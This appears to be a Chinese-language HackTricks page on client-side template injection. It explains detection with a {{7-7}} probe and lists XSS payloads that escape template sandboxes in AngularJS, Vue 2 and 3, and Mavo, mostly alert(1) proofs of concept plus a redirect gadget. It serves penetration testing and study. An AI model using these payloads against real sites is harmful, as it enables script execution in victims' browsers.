Client Side Template Injection (CSTI)

支持 HackTricks

摘要

它类似于 服务器端模板注入,但在 客户端SSTI 允许您在远程服务器上 执行代码,而 CSTI 可能允许您在受害者的浏览器中 执行任意 JavaScript 代码。

测试 这种漏洞与 SSTI 的情况非常 相似,解释器期望 一个模板 并将其执行。例如,使用像 {{ 7-7 }} 的有效载荷,如果应用程序是 脆弱的,您将看到 0,如果不是,您将看到原始内容:{{ 7-7 }}

AngularJS

AngularJS 是一个广泛使用的 JavaScript 框架,通过称为指令的属性与 HTML 交互,其中一个显著的指令是 ng-app。该指令允许 AngularJS 处理 HTML 内容,从而在双大括号内执行 JavaScript 表达式。

在用户输入动态插入到标记为 ng-app 的 HTML 主体的场景中,可以执行任意 JavaScript 代码。这可以通过利用 AngularJS 的语法在输入中实现。以下是演示如何执行 JavaScript 代码的示例:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

您可以在 AngularJShttp://jsfiddle.net/2zs2yv7o/Burp Suite Academy 中找到一个非常 基本的在线示例

Angular 1.6 移除了沙箱,因此从这个版本开始,像 {{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')> 的有效载荷应该可以工作。

VueJS

您可以在 https://vue-client-side-template-injection-example.azu.now.sh/ 找到一个 易受攻击的 Vue 实现。 有效载荷: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

易受攻击示例的 源代码 在这里: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

在 VUE 中关于 CSTI 的一篇非常好的文章可以在 https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets 找到

V3

{{_openBlock.constructor('alert(1)')()}}

信用: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

查看更多 VUE 有效载荷在 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

有效载荷:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

更多有效载荷请见 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

暴力破解检测列表

支持 HackTricks

Last updated